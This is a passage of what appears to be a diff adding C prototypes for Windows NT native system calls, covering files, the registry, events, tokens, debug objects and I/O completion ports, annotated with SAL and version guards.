+ ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapViewOfSection( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSession( + _Out_ PHANDLE SessionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ FILE_NOTIFY_INFORMATION Buffer, + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(EaListLength) PVOID EaList, + _In_ ULONG EaListLength, + _In_opt_ PULONG EaIndex, + _In_ BOOLEAN RestartScan + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadDriver( + _In_ PUNICODE_STRING DriverServiceName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadDriver( + _In_ PUNICODE_STRING DriverServiceName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadFileScatter( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteFileGather( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeviceIoControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationObject( + _In_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _In_reads_bytes_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDuplicateObject( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_opt_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtMakePermanentObject( + _In_ HANDLE Object + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtMakeTemporaryObject( + _In_ HANDLE Handle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDirectoryObject( + _In_ HANDLE DirectoryHandle, + _Out_writes_bytes_opt_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _Inout_ PULONG Context, + _Out_opt_ PULONG ReturnLength + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreatePrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PVOID BoundaryDescriptor + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenPrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PVOID BoundaryDescriptor + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeletePrivateNamespace( + _In_ HANDLE NamespaceHandle + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtTerminateThread( + _In_opt_ HANDLE ThreadHandle, + _In_ NTSTATUS ExitStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemTime( + _Out_ PLARGE_INTEGER SystemTime + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemTime( + _In_opt_ PLARGE_INTEGER SystemTime, + _Out_opt_ PLARGE_INTEGER PreviousTime + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryTimerResolution( + _Out_ PULONG MaximumTime, + _Out_ PULONG MinimumTime, + _Out_ PULONG CurrentTime + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimerResolution( + _In_ ULONG DesiredTime, + _In_ BOOLEAN SetResolution, + _Out_ PULONG ActualTime + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryPerformanceCounter( + _Out_ PLARGE_INTEGER PerformanceCounter, + _Out_opt_ PLARGE_INTEGER PerformanceFrequency + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateLocallyUniqueId( + _Out_ PLUID Luid + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetUuidSeed( + _In_ PCHAR Seed + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateUuids( + _Out_ PULARGE_INTEGER Time, + _Out_ PULONG Range, + _Out_ PULONG Sequence, + _Out_ PCHAR Seed + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtResetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtClearEvent( + _In_ HANDLE EventHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PVOID SidList, + _In_ ULONG SidListLength, + _In_opt_ PSID StartSid, + _In_ BOOLEAN RestartScan + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_opt_ PULONG Disposition + ); + +#if NTDDI_VERSION >= PNTDDI_VISTA +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _In_ HANDLE TransactionHandle, + _Out_opt_ PULONG Disposition + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +#if NTDDI_VERSION >= PNTDDI_VISTA +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE TransactionHandle + ); +#endif + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyTransactedEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions, + _In_ HANDLE TransactionHandle + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteKey( + _In_ HANDLE KeyHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRenameKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING NewName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_to_opt_(Length, *ResultLength) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationKey( + _In_ HANDLE KeyHandle, + _In_ KEY_SET_INFORMATION_CLASS KeySetInformationClass, + _In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation, + _In_ ULONG KeySetInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_to_opt_(Length, *ResultLength) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_opt_ ULONG TitleIndex, + _In_ ULONG Type, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryMultipleValueKey( + _In_ HANDLE KeyHandle, + _Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries, + _In_ ULONG EntryCount, + _Out_writes_bytes_(*BufferLength) PVOID ValueBuffer, + _Inout_ PULONG BufferLength, + _Out_opt_ PULONG RequiredBufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_to_opt_(Length, *ResultLength) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateValueKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_to_opt_(Length, *ResultLength) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushKey( + _In_ HANDLE KeyHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompactKeys( + _In_ ULONG Count, + _In_ PHANDLE KeyArray + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompressKey( + _In_ HANDLE Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKey( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_opt_ HANDLE TrustClassKey, + _In_opt_ HANDLE Event, + _In_opt_ ACCESS_MASK DesiredAccess, + _Out_opt_ PHANDLE RootHandle, + _Out_opt_ PIO_STATUS_BLOCK IoStatus + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplaceKey( + _In_ POBJECT_ATTRIBUTES NewFile, + _In_ HANDLE TargetHandle, + _In_ POBJECT_ATTRIBUTES OldFile + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSaveKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSaveKeyEx( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Format + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSaveMergedKeys( + _In_ HANDLE HighPrecedenceKeyHandle, + _In_ HANDLE LowPrecedenceKeyHandle, + _In_ HANDLE FileHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRestoreKey( + _In_ HANDLE KeyHandle, + _In_opt_ HANDLE FileHandle, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadKey( + _In_ POBJECT_ATTRIBUTES TargetKey + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG Flags + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_opt_ HANDLE Event + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeKey( + _In_ HANDLE KeyHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeMultipleKeys( + _In_ HANDLE MasterKeyHandle, + _In_opt_ ULONG Count, + _In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[], + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryOpenSubKeys( + _In_ POBJECT_ATTRIBUTES TargetKey, + _Out_ PULONG HandleCount + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryOpenSubKeysEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PVOID Buffer, + _Out_ PULONG RequiredSize + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitializeRegistry( + _In_ USHORT BootCondition + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockRegistryKey( + _In_ HANDLE KeyHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockProductActivationKeys( + _Inout_opt_ ULONG *pPrivateVer, + _Out_opt_ ULONG *pSafeMode + ); + +#if NTDDI_VERSION >= PNTDDI_VISTA +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreezeRegistry( + _In_ ULONG TimeOutInSeconds + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtThawRegistry( + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDelayExecution( + _In_ BOOLEAN Alertable, + _In_ PLARGE_INTEGER DelayInterval + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCallbackReturn( + _In_reads_bytes_opt_(OutputLength) PVOID OutputBuffer, + _In_ ULONG OutputLength, + _In_ NTSTATUS Status + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSCALLAPI +VOID +NTAPI +NtFlushProcessWriteBuffers( + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRemoveProcessDebug( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForDebugEvent( + _In_ HANDLE DebugObjectHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout, + _Out_ PDBGUI_WAIT_STATE_CHANGE WaitStateChange + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDebugContinue( + _In_ HANDLE DebugObjectHandle, + _In_ PCLIENT_ID ClientId, + _In_ NTSTATUS ContinueStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationDebugObject( + _In_ HANDLE DebugObjectHandle, + _In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass, + _In_ PVOID DebugInformation, + _In_ ULONG DebugInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenProcessTokenEx( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenThreadToken( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _Out_ PHANDLE TokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenThreadTokenEx( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateToken( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE TokenType, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE TokenSource + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE TokenType, + _Out_ PHANDLE NewTokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_ ULONG BufferLength, + _Out_opt_ PTOKEN_PRIVILEGES PreviousState, + _Out_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAdjustGroupsToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN ResetToDefault, + _In_opt_ PTOKEN_GROUPS NewState, + _In_opt_ ULONG BufferLength, + _Out_ PTOKEN_GROUPS PreviousState, + _Out_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFilterToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompareTokens( + _In_ HANDLE FirstTokenHandle, + _In_ HANDLE SecondTokenHandle, + _Out_ PBOOLEAN Equal + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrivilegeCheck( + _In_ HANDLE ClientToken, + _Inout_ PPRIVILEGE_SET RequiredPrivileges, + _Out_ PBOOLEAN Result + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle + ); + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySecurityAttributesToken( + _In_ HANDLE TokenHandle, + _In_reads_opt_(NumberOfAttributes) PUNICODE_STRING Attributes, + _In_ ULONG NumberOfAttributes, + _Out_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION Buffer, + _In_ ULONG Length, + _Out_ PULONG ReturnLength + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheck( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_ PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByType( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_ PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeResultList( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_ PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG Count + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_writes_bytes_(IoCompletionInformationLength) PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation + ); + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSCALLAPI +NTSTATUS +NTAPI 